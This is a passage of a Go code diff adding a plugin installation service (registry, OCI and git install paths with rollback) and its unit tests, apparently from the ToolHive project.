} + return s.installAndRegister(ctx, result, opts.Group, opts.Name, scope, opts.ProjectRoot) +} + +// installFromRegistryLookup resolves a plain plugin name via the registry +// lookup and dispatches to the appropriate installer. When no lookup is +// configured or it returns no hits, returns a 404 with an install hint. +func (s *service) installFromRegistryLookup( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, +) (*plugins.InstallResult, error) { + if s.pluginLookup != nil { + hits, err := s.pluginLookup.SearchPlugins(ctx, opts.Name) + if err != nil { + return nil, fmt.Errorf("searching registry for plugin %q: %w", opts.Name, err) + } + if len(hits) > 0 && len(hits[0].Packages) > 0 { + pkg := hits[0].Packages[0] + slog.Info("resolved plugin from registry", "name", opts.Name, "reference", pkg.Reference) + opts.Name = pkg.Reference + ref, _, parseErr := parseOCIReference(pkg.Reference) + if parseErr != nil { + return nil, httperr.WithCode( + fmt.Errorf("registry returned invalid OCI reference %q: %w", pkg.Reference, parseErr), + http.StatusUnprocessableEntity, + ) + } + result, ociErr := s.installFromOCI(ctx, opts, scope, ref) + if ociErr != nil { + return nil, ociErr + } + return s.installAndRegister(ctx, result, opts.Group, result.Plugin.Metadata.Name, scope, opts.ProjectRoot) + } + } + + return nil, httperr.WithCode( + fmt.Errorf("plugin %q not found in local store or registry;"+ + " install by OCI reference:\n thv plugin install ghcr.io//%s:", + opts.Name, opts.Name), + http.StatusNotFound, + ) +} + +// registerPluginInGroup adds the plugin to the requested group when a group +// manager is configured. When groupName is empty it defaults to the "default" +// group, matching workload behavior. +func (s *service) registerPluginInGroup(ctx context.Context, groupName string, pluginName string) error { + if s.groupManager == nil { + return nil + } + if groupName == "" { + groupName = groups.DefaultGroup + } + return groups.AddPluginToGroup(ctx, s.groupManager, groupName, pluginName) +} + +// installAndRegister registers the just-installed plugin in the target group. +// If group registration fails, the DB record is rolled back so a retry starts +// fresh. Mirror of skillsvc.installAndRegister. +func (s *service) installAndRegister( + ctx context.Context, + result *plugins.InstallResult, + groupName string, + pluginName string, + scope plugins.Scope, + projectRoot string, +) (*plugins.InstallResult, error) { + if err := s.registerPluginInGroup(ctx, groupName, pluginName); err != nil { + // Best-effort rollback: remove the DB record so retries start fresh. + // Materialized files are left in place; a fresh install will overwrite + // them (the adapters are idempotent under the same name/scope). + _ = s.store.Delete(ctx, pluginName, scope, projectRoot) + return nil, fmt.Errorf("registering plugin in group: %w", err) + } + return result, nil +} diff --git a/pkg/plugins/pluginsvc/install_extraction.go b/pkg/plugins/pluginsvc/install_extraction.go new file mode 100644 index 0000000000..0e73395dc6 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_extraction.go @@ -0,0 +1,356 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "errors" + "fmt" + "net/http" + "slices" + "strings" + "time" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" +) + +// clientsAllSentinel is the reserved value that expands to all +// plugin-supporting clients. Mirror of skillsvc.clientsAllSentinel. +const clientsAllSentinel = "all" + +// installWithExtraction handles the full plugin install flow: client resolution, +// per-client materialization, and DB record creation or update. It is the +// plugin analogue of skillsvc.installWithExtraction, substituting +// MaterializationAdapter.Materialize for skills.Installer.Extract. +func (s *service) installWithExtraction( + ctx context.Context, opts plugins.InstallOptions, scope plugins.Scope, +) (*plugins.InstallResult, error) { + clientTypes, err := s.resolveAndValidateClients(opts, scope) + if err != nil { + return nil, err + } + + existing, storeErr := s.store.Get(ctx, opts.Name, scope, opts.ProjectRoot) + isNotFound := errors.Is(storeErr, storage.ErrNotFound) + if storeErr != nil && !isNotFound { + return nil, fmt.Errorf("checking existing plugin: %w", storeErr) + } + + if isExtractionNoOp(existing, storeErr, opts, clientTypes) { + return &plugins.InstallResult{Plugin: existing}, nil + } + + digestMatches := storeErr == nil && existing.Digest == opts.Digest + if digestMatches { + return s.installExtractionSameDigestNewClients(ctx, opts, scope, existing, clientTypes) + } + if storeErr == nil { + return s.installExtractionUpgradeDigest(ctx, opts, scope, existing, clientTypes) + } + return s.installExtractionFresh(ctx, opts, scope, clientTypes) +} + +// isExtractionNoOp reports whether the install can be short-circuited because +// the same digest and all requested clients are already present. Mirror of +// skillsvc.isExtractionNoOp. +func isExtractionNoOp(existing plugins.InstalledPlugin, storeErr error, opts plugins.InstallOptions, clientTypes []string) bool { + if storeErr != nil || existing.Digest != opts.Digest { + return false + } + if clientsContainAll(existing.Clients, clientTypes) { + return true + } + return len(existing.Clients) == 0 && len(clientTypes) <= 1 && len(opts.Clients) == 0 +} + +// installExtractionSameDigestNewClients materializes the plugin for clients +// not already present at the same digest, then updates the DB record. +func (s *service) installExtractionSameDigestNewClients( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + existing plugins.InstalledPlugin, + clientTypes []string, +) (*plugins.InstallResult, error) { + toWrite := missingClients(existing.Clients, clientTypes) + if len(toWrite) == 0 { + return &plugins.InstallResult{Plugin: existing}, nil + } + materialized, err := s.materializeForClients(ctx, opts, scope, toWrite) + if err != nil { + return nil, err + } + pl := buildInstalledPlugin(opts, scope, clientTypes, existing.Clients) + if err := s.store.Update(ctx, pl); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, err + } + return &plugins.InstallResult{Plugin: pl}, nil +} + +// installExtractionUpgradeDigest re-materializes the plugin for the union of +// requested and existing clients (upgrades write to every client), then updates +// the DB record. +func (s *service) installExtractionUpgradeDigest( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + existing plugins.InstalledPlugin, + clientTypes []string, +) (*plugins.InstallResult, error) { + allClients := mergeClientLists(existing.Clients, clientTypes) + materialized, err := s.materializeForClients(ctx, opts, scope, allClients) + if err != nil { + return nil, err + } + pl := buildInstalledPlugin(opts, scope, allClients, nil) + if err := s.store.Update(ctx, pl); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, err + } + return &plugins.InstallResult{Plugin: pl}, nil +} + +// installExtractionFresh materializes the plugin for all requested clients, +// then creates the DB record. +func (s *service) installExtractionFresh( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + clientTypes []string, +) (*plugins.InstallResult, error) { + materialized, err := s.materializeForClients(ctx, opts, scope, clientTypes) + if err != nil { + return nil, err + } + pl := buildInstalledPlugin(opts, scope, clientTypes, nil) + if err := s.store.Create(ctx, pl); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, err + } + return &plugins.InstallResult{Plugin: pl}, nil +} + +// materializeForClients calls Materialize for each requested client type, +// rolling back (Dematerialize) any already-materialized client on failure. +// Returns the list of client types that were successfully materialized. +func (s *service) materializeForClients( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + clientTypes []string, +) ([]string, error) { + var materialized []string + for _, ct := range clientTypes { + adapter, ok := s.materializers[ct] + if !ok { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, httperr.WithCode( + fmt.Errorf("no materializer configured for client %q", ct), + http.StatusInternalServerError, + ) + } + if _, err := adapter.Materialize(ctx, plugins.MaterializeRequest{ + Name: opts.Name, + LayerData: opts.LayerData, + Scope: scope, + ProjectRoot: opts.ProjectRoot, + Components: opts.Components, + }); err != nil { + s.dematerializeAll(ctx, materialized, opts.Name, scope, opts.ProjectRoot) + return nil, fmt.Errorf("materializing plugin for client %q: %w", ct, err) + } + materialized = append(materialized, ct) + } + return materialized, nil +} + +// dematerializeAll best-effort reverts materializations performed in this call. +// Errors are joined so a partial rollback still surfaces; the original install +// error is returned to the caller separately. +func (s *service) dematerializeAll( + ctx context.Context, + clientTypes []string, + name string, + scope plugins.Scope, + projectRoot string, +) { + for _, ct := range clientTypes { + if adapter, ok := s.materializers[ct]; ok { + _ = adapter.Dematerialize(ctx, plugins.DematerializeRequest{ + Name: name, + Scope: scope, + ProjectRoot: projectRoot, + }) + } + } +} + +// resolveAndValidateClients returns the deduplicated client list to target for +// this install. Empty opts.Clients (or the sentinel value "all") expands to +// every client present in s.materializers (additionally filtered by +// cm.SupportsPlugins when a client manager is configured). Explicit client +// names are validated to be present in s.materializers. +// +// Unlike skillsvc.resolveAndValidateClients, this does NOT resolve filesystem +// paths — the MaterializationAdapter owns path resolution, so the caller +// receives only the client-type list, not a client→dir map. +func (s *service) resolveAndValidateClients( + opts plugins.InstallOptions, + _ plugins.Scope, +) ([]string, error) { + var requested []string + switch { + case len(opts.Clients) == 0 || (len(opts.Clients) == 1 && strings.EqualFold(opts.Clients[0], clientsAllSentinel)): + available := s.availableMaterializerClients() + if len(available) == 0 { + return nil, httperr.WithCode( + errors.New("no supported clients detected on this system; "+ + "use --clients to target a specific client explicitly"), + http.StatusBadRequest, + ) + } + requested = available + default: + for _, c := range opts.Clients { + if c == "" { + return nil, httperr.WithCode( + errors.New("clients entries must be non-empty strings"), + http.StatusBadRequest, + ) + } + if strings.EqualFold(c, clientsAllSentinel) { + return nil, httperr.WithCode( + fmt.Errorf("%q cannot be combined with other client names", clientsAllSentinel), + http.StatusBadRequest, + ) + } + } + requested = dedupeStringsPreserveOrder(opts.Clients) + } + + // Validate each requested client has a configured materializer. When a + // client manager is available, also reject clients it does not consider + // plugin-supporting (defense in depth — the materializers map is the + // source of truth, but cm catches misconfiguration). + for _, ct := range requested { + if _, ok := s.materializers[ct]; !ok { + return nil, httperr.WithCode( + fmt.Errorf("invalid client %q: no materializer configured", ct), + http.StatusBadRequest, + ) + } + if s.clientManager != nil && !s.clientManager.SupportsPlugins(client.ClientApp(ct)) { + return nil, httperr.WithCode( + fmt.Errorf("invalid client %q: %w", ct, client.ErrPluginsNotSupported), + http.StatusBadRequest, + ) + } + } + return requested, nil +} + +// availableMaterializerClients returns the sorted list of client types that +// have a configured materializer and (when a client manager is set) are +// considered plugin-supporting by it. +func (s *service) availableMaterializerClients() []string { + var out []string + for ct := range s.materializers { + if s.clientManager != nil && !s.clientManager.SupportsPlugins(client.ClientApp(ct)) { + continue + } + out = append(out, ct) + } + slices.Sort(out) + return out +} + +// buildInstalledPlugin constructs an InstalledPlugin from install options. +// requestedClientTypes is merged with existingClients for the persisted Clients +// field. Mirror of skillsvc.buildInstalledSkill, substituting plugin types and +// carrying through Components/Dependencies/Tag/Signature. +func buildInstalledPlugin( + opts plugins.InstallOptions, + scope plugins.Scope, + requestedClientTypes []string, + existingClients []string, +) plugins.InstalledPlugin { + clients := mergeClientLists(existingClients, requestedClientTypes) + return plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{ + Name: opts.Name, + Version: opts.Version, + Description: opts.Description, + }, + Scope: scope, + ProjectRoot: opts.ProjectRoot, + Reference: opts.Reference, + Tag: opts.Tag, + Digest: opts.Digest, + Status: plugins.InstallStatusInstalled, + InstalledAt: time.Now().UTC(), + Clients: clients, + Components: opts.Components, + Dependencies: opts.Dependencies, + } +} + +// dedupeStringsPreserveOrder returns the input slice with duplicates removed, +// preserving first-seen order. Mirror of skillsvc.dedupeStringsPreserveOrder. +func dedupeStringsPreserveOrder(in []string) []string { + seen := make(map[string]struct{}, len(in)) + out := make([]string, 0, len(in)) + for _, s := range in { + if _, ok := seen[s]; ok { + continue + } + seen[s] = struct{}{} + out = append(out, s) + } + return out +} + +// clientsContainAll reports whether every value in requested appears in existing. +func clientsContainAll(existing, requested []string) bool { + for _, r := range requested { + if !slices.Contains(existing, r) { + return false + } + } + return true +} + +// mergeClientLists returns existing followed by any requested entries not already present. +func mergeClientLists(existing, requested []string) []string { + out := make([]string, len(existing)) + copy(out, existing) + seen := make(map[string]struct{}, len(existing)+len(requested)) + for _, c := range existing { + seen[c] = struct{}{} + } + for _, c := range requested { + if _, ok := seen[c]; ok { + continue + } + seen[c] = struct{}{} + out = append(out, c) + } + if len(out) == 0 { + return nil + } + return out +} + +func missingClients(existing, requested []string) []string { + var out []string + for _, ct := range requested { + if !slices.Contains(existing, ct) { + out = append(out, ct) + } + } + return out +} diff --git a/pkg/plugins/pluginsvc/install_git.go b/pkg/plugins/pluginsvc/install_git.go new file mode 100644 index 0000000000..3712477001 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_git.go @@ -0,0 +1,251 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + "path" + + "github.com/go-git/go-git/v5/plumbing/object" + + "github.com/stacklok/toolhive-core/httperr" + ociartifact "github.com/stacklok/toolhive-core/oci/artifact" + "github.com/stacklok/toolhive/pkg/git" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills/gitresolver" +) + +// installFromGit clones a git repository, reads the plugin manifest, collects +// the plugin file tree, builds an in-memory tar.gz layer, and delegates to +// installWithExtraction. The digest is the git commit hash, enabling same-commit +// no-op and upgrade detection. +// +// Unlike skillsvc.installFromGit, this does NOT call gitResolver.Resolve +// (which is skill-specific: it reads SKILL.md). Instead it replicates the +// clone+collect flow and reads .claude-plugin/plugin.json via +// plugins.ParsePluginManifest. +func (s *service) installFromGit( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, +) (*plugins.InstallResult, error) { + if len(s.materializers) == 0 { + return nil, httperr.WithCode( + fmt.Errorf("no materializers configured for plugin installs"), + http.StatusInternalServerError, + ) + } + + gitRef, err := gitresolver.ParseGitReference(opts.Name) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("invalid git reference: %w", err), + http.StatusBadRequest, + ) + } + + gitURL := opts.Name + + files, manifest, commitHash, err := s.cloneAndCollectPlugin(ctx, gitRef) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("resolving git plugin: %w", err), + http.StatusBadGateway, + ) + } + + if err := plugins.ValidatePluginName(manifest.Name); err != nil { + return nil, httperr.WithCode( + fmt.Errorf("plugin contains invalid name: %w", err), + http.StatusUnprocessableEntity, + ) + } + + // Name/repo consistency check (mirrors the OCI check in installFromOCI): + // the manifest name must match the name implied by the git reference — + // the subdir's last segment when #subdir is present, else the repo's + // last segment. 422 on mismatch. + if err := validateGitPluginName(manifest.Name, gitRef); err != nil { + return nil, err + } + + // Build the in-memory tar.gz layer from the collected file tree. This + // matches the OCI artifact layer shape so the MaterializationAdapter can + // extract it identically to an OCI-pulled plugin. + layerData, err := ociartifact.CompressTar(files, ociartifact.DefaultTarOptions(), ociartifact.DefaultGzipOptions()) + if err != nil { + return nil, fmt.Errorf("compressing git plugin tree: %w", err) + } + + // Hydrate install options from the git result. + opts.Name = manifest.Name + opts.LayerData = layerData + opts.Reference = gitURL + opts.Digest = commitHash + opts.Components = manifestComponentInventory(manifest) + opts.Description = manifest.Description + if opts.Version == "" && manifest.Version != "" { + opts.Version = manifest.Version + } + + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + defer unlock() + + return s.installWithExtraction(ctx, opts, scope) +} + +// cloneAndCollectPlugin clones the repo referenced by gitRef, reads the plugin +// manifest, and collects every file under the plugin subdirectory. Returns the +// files as ociartifact.FileEntry values (ready for CompressTar), the parsed +// manifest, and the commit hash. +func (s *service) cloneAndCollectPlugin( + ctx context.Context, gitRef *gitresolver.GitReference, +) ([]ociartifact.FileEntry, *plugins.PluginManifest, string, error) { + ctx, cancel := context.WithTimeout(ctx, gitresolver.CloneTimeout) + defer cancel() + + cloneConfig := gitresolver.CloneConfigForRef(gitRef) + + client := gitresolver.ClientForURL(gitRef.URL, s.gitClient) + repoInfo, err := client.Clone(ctx, cloneConfig) + if err != nil { + return nil, nil, "", fmt.Errorf("cloning repository: %w", err) + } + defer func() { _ = client.Cleanup(ctx, repoInfo) }() + + commitHash, err := client.HeadCommitHash(repoInfo) + if err != nil { + return nil, nil, "", fmt.Errorf("getting commit hash: %w", err) + } + + // Read the plugin manifest. It lives at /.claude-plugin/plugin.json. + // We collect the whole file tree first, then locate the manifest among the + // collected entries so we don't need a second pass over the repo. + fileEntries, err := collectPluginFiles(repoInfo, gitRef.Path) + if err != nil { + return nil, nil, "", fmt.Errorf("collecting plugin files: %w", err) + } + + manifestBytes, err := findManifestBytes(fileEntries) + if err != nil { + return nil, nil, "", fmt.Errorf("reading plugin manifest: %w", err) + } + manifest, err := plugins.ParsePluginManifestFromBytes(manifestBytes) + if err != nil { + return nil, nil, "", fmt.Errorf("parsing plugin manifest: %w", err) + } + return fileEntries, manifest, commitHash, nil +} + +// collectPluginFiles reads all files from the given path in the repository, +// walking nested subtrees recursively. Returned paths are forward-slash +// relative to basePath. Mirror of gitresolver.defaultResolver.collectFiles, +// adapted to produce ociartifact.FileEntry values. +func collectPluginFiles(repoInfo *git.RepositoryInfo, basePath string) ([]ociartifact.FileEntry, error) { + ref, err := repoInfo.Repository.Head() + if err != nil { + return nil, fmt.Errorf("getting HEAD: %w", err) + } + commit, err := repoInfo.Repository.CommitObject(ref.Hash()) + if err != nil { + return nil, fmt.Errorf("getting commit: %w", err) + } + tree, err := commit.Tree() + if err != nil { + return nil, fmt.Errorf("getting tree: %w", err) + } + if basePath != "" { + tree, err = tree.Tree(basePath) + if err != nil { + return nil, fmt.Errorf("navigating to path %q: %w", basePath, err) + } + } + + var files []ociartifact.FileEntry + err = tree.Files().ForEach(func(f *object.File) error { + content, contentErr := f.Contents() + if contentErr != nil { + return fmt.Errorf("reading content of %q: %w", f.Name, contentErr) + } + // Preserve the executable bit (and other mode bits) committed in the + // repo rather than forcing every file to 0644, so hook scripts keep +x. + osMode, modeErr := f.Mode.ToOSFileMode() + if modeErr != nil { + return fmt.Errorf("converting mode of %q: %w", f.Name, modeErr) + } + files = append(files, ociartifact.FileEntry{ + Path: f.Name, + Content: []byte(content), + Mode: int64(osMode), + }) + return nil + }) + if err != nil { + return nil, fmt.Errorf("iterating tree: %w", err) + } + return files, nil +} + +// findManifestBytes locates the .claude-plugin/plugin.json entry among the +// collected files and returns its content. Match is case-insensitive on the +// path for robustness against path-separator differences. +func findManifestBytes(files []ociartifact.FileEntry) ([]byte, error) { + target := path.Clean(plugins.ManifestPath) + for _, f := range files { + if path.Clean(f.Path) == target { + return f.Content, nil + } + } + return nil, fmt.Errorf("%s not found in plugin directory", plugins.ManifestPath) +} + +// manifestComponentInventory derives a ComponentInventory from a parsed plugin +// manifest by counting entries in each component directory array. +func manifestComponentInventory(m *plugins.PluginManifest) plugins.ComponentInventory { + if m == nil { + return nil + } + inv := plugins.ComponentInventory{} + if len(m.Commands) > 0 { + inv[string(plugins.ComponentCommands)] = len(m.Commands) + } + if len(m.Agents) > 0 { + inv[string(plugins.ComponentAgents)] = len(m.Agents) + } + if len(m.Skills) > 0 { + inv[string(plugins.ComponentSkills)] = len(m.Skills) + } + if len(m.Hooks) > 0 { + inv[string(plugins.ComponentHooks)] = len(m.Hooks) + } + if m.McpServers != nil { + inv[string(plugins.ComponentMCP)] = 1 + } + if m.LspServers != nil { + inv[string(plugins.ComponentLSP)] = 1 + } + if len(inv) == 0 { + return nil + } + return inv +} + +// validateGitPluginName enforces name/repo consistency for git installs, +// mirroring the OCI check that the manifest name matches the repo's last +// segment. The expected name is derived from the git reference: the subdir's +// last segment when #subdir is present, else the repo's last segment. +// Returns a 422 httperr on mismatch. +func validateGitPluginName(manifestName string, gitRef *gitresolver.GitReference) error { + expectedName := gitRef.SkillName() + if manifestName != expectedName { + return httperr.WithCode( + fmt.Errorf("plugin name %q in manifest does not match git reference name %q", + manifestName, expectedName), + http.StatusUnprocessableEntity, + ) + } + return nil +} diff --git a/pkg/plugins/pluginsvc/install_git_test.go b/pkg/plugins/pluginsvc/install_git_test.go new file mode 100644 index 0000000000..9ef6bb17fa --- /dev/null +++ b/pkg/plugins/pluginsvc/install_git_test.go @@ -0,0 +1,282 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "net/http" + "os" + "path/filepath" + "testing" + + gogit "github.com/go-git/go-git/v5" + "github.com/go-git/go-git/v5/plumbing/object" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + ociartifact "github.com/stacklok/toolhive-core/oci/artifact" + "github.com/stacklok/toolhive/pkg/git" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/skills/gitresolver" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestParseGitReference_RefAndSubdir(t *testing.T) { + t.Parallel() + + tests := []struct { + raw string + wantURL string + wantRef string + wantPath string + wantError bool + }{ + {raw: "git://github.com/org/repo", wantURL: "https://github.com/org/repo"}, + {raw: "git://github.com/org/repo@v1.0.0", wantRef: "v1.0.0"}, + {raw: "git://github.com/org/repo#plugins/my-plugin", wantPath: "plugins/my-plugin"}, + {raw: "git://github.com/org/repo@main#plugins/my-plugin", wantRef: "main", wantPath: "plugins/my-plugin"}, + {raw: "git://", wantError: true}, + {raw: "git://github.com", wantError: true}, + } + for _, tt := range tests { + t.Run(tt.raw, func(t *testing.T) { + t.Parallel() + ref, err := gitresolver.ParseGitReference(tt.raw) + if tt.wantError { + require.Error(t, err) + return + } + require.NoError(t, err) + if tt.wantURL != "" { + assert.Equal(t, tt.wantURL, ref.URL) + } + assert.Equal(t, tt.wantRef, ref.Ref) + assert.Equal(t, tt.wantPath, ref.Path) + }) + } +} + +func TestInstallFromGit_ErrorPaths(t *testing.T) { + t.Parallel() + + t.Run("no materializers configured returns 500", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + _, err := svc.Install(t.Context(), plugins.InstallOptions{Name: "git://github.com/test/my-plugin"}) + require.Error(t, err) + assert.Equal(t, http.StatusInternalServerError, httperr.Code(err)) + }) + + t.Run("malformed git reference returns 400", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{Name: "git://"}) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + assert.Contains(t, err.Error(), "invalid git reference") + }) +} + +// TestCloneAndCollectPlugin exercises the clone + manifest parse + file +// collection flow against a real on-disk git repository. It bypasses +// ParseGitReference (which rejects localhost/file paths) by calling +// cloneAndCollectPlugin directly with a file://-style GitReference and an +// injected git.NewDefaultGitClient. +func TestCloneAndCollectPlugin(t *testing.T) { + t.Parallel() + + t.Run("collects plugin tree and parses manifest", func(t *testing.T) { + t.Parallel() + repoDir := createPluginTestRepo(t, "") + + s := &service{gitClient: git.NewDefaultGitClient()} + files, manifest, commitHash, err := s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{URL: repoDir}) + require.NoError(t, err) + assert.Equal(t, "my-plugin", manifest.Name) + assert.Equal(t, "1.0.0", manifest.Version) + assert.NotEmpty(t, commitHash) + // Manifest + a command file are collected. + assert.GreaterOrEqual(t, len(files), 2) + }) + + t.Run("subdir scopes the collected tree", func(t *testing.T) { + t.Parallel() + repoDir := createPluginTestRepo(t, "bundled") + + s := &service{gitClient: git.NewDefaultGitClient()} + files, manifest, _, err := s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{ + URL: repoDir, + Path: "bundled", + }) + require.NoError(t, err) + assert.Equal(t, "my-plugin", manifest.Name) + // Files are relative to the subdir; manifest path is .claude-plugin/plugin.json. + found := false + for _, f := range files { + if f.Path == ".claude-plugin/plugin.json" { + found = true + } + } + assert.True(t, found, "manifest should be collected from the subdir") + }) + + t.Run("missing manifest returns error", func(t *testing.T) { + t.Parallel() + dir := t.TempDir() + repo, err := gogit.PlainInit(dir, false) + require.NoError(t, err) + wt, err := repo.Worktree() + require.NoError(t, err) + require.NoError(t, os.WriteFile(filepath.Join(dir, "README.md"), []byte("# no plugin"), 0644)) + _, err = wt.Add(".") + require.NoError(t, err) + _, err = wt.Commit("init", &gogit.CommitOptions{Author: &object.Signature{Name: "T", Email: "t@e"}}) + require.NoError(t, err) + + s := &service{gitClient: git.NewDefaultGitClient()} + _, _, _, err = s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{URL: dir}) + require.Error(t, err) + assert.Contains(t, err.Error(), "not found in plugin directory") + }) + + t.Run("executable file mode is preserved", func(t *testing.T) { + t.Parallel() + repoDir := createPluginTestRepoWithExecutable(t, "") + + s := &service{gitClient: git.NewDefaultGitClient()} + files, manifest, _, err := s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{URL: repoDir}) + require.NoError(t, err) + assert.Equal(t, "my-plugin", manifest.Name) + + var hookEntry *ociartifact.FileEntry + for i := range files { + if files[i].Path == "hooks/preinstall.sh" { + hookEntry = &files[i] + break + } + } + require.NotNil(t, hookEntry, "executable hook file should be collected") + assert.NotZero(t, hookEntry.Mode&0o100, + "executable bit should be preserved on hook script, got mode %o", hookEntry.Mode) + }) +} + +// createPluginTestRepo initializes an on-disk git repo containing a minimal +// plugin tree. When subdir is non-empty, the plugin is placed under that +// subdirectory. +func createPluginTestRepo(t *testing.T, subdir string) string { + t.Helper() + dir := t.TempDir() + repo, err := gogit.PlainInit(dir, false) + require.NoError(t, err) + + pluginRoot := dir + if subdir != "" { + pluginRoot = filepath.Join(dir, subdir) + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, ".claude-plugin"), 0750)) + } else { + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, ".claude-plugin"), 0750)) + } + manifest := `{"name":"my-plugin","version":"1.0.0","commands":["./commands"]}` + require.NoError(t, os.WriteFile(filepath.Join(pluginRoot, ".claude-plugin", "plugin.json"), []byte(manifest), 0644)) + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, "commands"), 0750)) + require.NoError(t, os.WriteFile(filepath.Join(pluginRoot, "commands", "hello.md"), []byte("# hello"), 0644)) + + wt, err := repo.Worktree() + require.NoError(t, err) + _, err = wt.Add(".") + require.NoError(t, err) + _, err = wt.Commit("init", &gogit.CommitOptions{Author: &object.Signature{Name: "T", Email: "t@e"}}) + require.NoError(t, err) + return dir +} + +// createPluginTestRepoWithExecutable is like createPluginTestRepo but also +// commits an executable hook script at hooks/preinstall.sh (mode 0755) so the +// exec-bit-preservation path can be exercised. +func createPluginTestRepoWithExecutable(t *testing.T, subdir string) string { + t.Helper() + dir := t.TempDir() + repo, err := gogit.PlainInit(dir, false) + require.NoError(t, err) + + pluginRoot := dir + if subdir != "" { + pluginRoot = filepath.Join(dir, subdir) + } + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, ".claude-plugin"), 0750)) + manifest := `{"name":"my-plugin","version":"1.0.0"}` + require.NoError(t, os.WriteFile(filepath.Join(pluginRoot, ".claude-plugin", "plugin.json"), []byte(manifest), 0644)) + + // Executable hook script, committed with the executable bit set. + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, "hooks"), 0750)) + hookPath := filepath.Join(pluginRoot, "hooks", "preinstall.sh") + require.NoError(t, os.WriteFile(hookPath, []byte("#!/bin/sh\necho hi\n"), 0755)) + + wt, err := repo.Worktree() + require.NoError(t, err) + _, err = wt.Add(".") + require.NoError(t, err) + _, err = wt.Commit("init", &gogit.CommitOptions{Author: &object.Signature{Name: "T", Email: "t@e"}}) + require.NoError(t, err) + return dir +} + +// TestGitNameConsistencyCheck exercises validateGitPluginName, the name/repo +// consistency check for git installs that mirrors the OCI path's check. +func TestGitNameConsistencyCheck(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + manifestName string + gitRef *gitresolver.GitReference + wantErr bool + wantCode int + }{ + { + name: "bare repo mismatch returns 422", + manifestName: "evil-name", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/my-plugin"}, + wantErr: true, + wantCode: http.StatusUnprocessableEntity, + }, + { + name: "bare repo match passes", + manifestName: "my-plugin", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/my-plugin"}, + }, + { + name: "subdir case matches", + manifestName: "bundled", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/repo", Path: "bundled"}, + }, + { + name: "subdir mismatch returns 422", + manifestName: "other", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/repo", Path: "bundled"}, + wantErr: true, + wantCode: http.StatusUnprocessableEntity, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + err := validateGitPluginName(tt.manifestName, tt.gitRef) + if tt.wantErr { + require.Error(t, err) + assert.Equal(t, tt.wantCode, httperr.Code(err)) + return + } + require.NoError(t, err) + }) + } +} diff --git a/pkg/plugins/pluginsvc/install_oci.go b/pkg/plugins/pluginsvc/install_oci.go new file mode 100644 index 0000000000..8b2aa03f27 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_oci.go @@ -0,0 +1,340 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "log/slog" + "net/http" + "strings" + + nameref "github.com/google/go-containerregistry/pkg/name" + "github.com/opencontainers/go-digest" + + "github.com/stacklok/toolhive-core/httperr" + ociplugins "github.com/stacklok/toolhive-core/oci/plugins" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// installFromOCI pulls a plugin artifact from a remote registry, extracts +// metadata and layer data, then delegates to installWithExtraction. 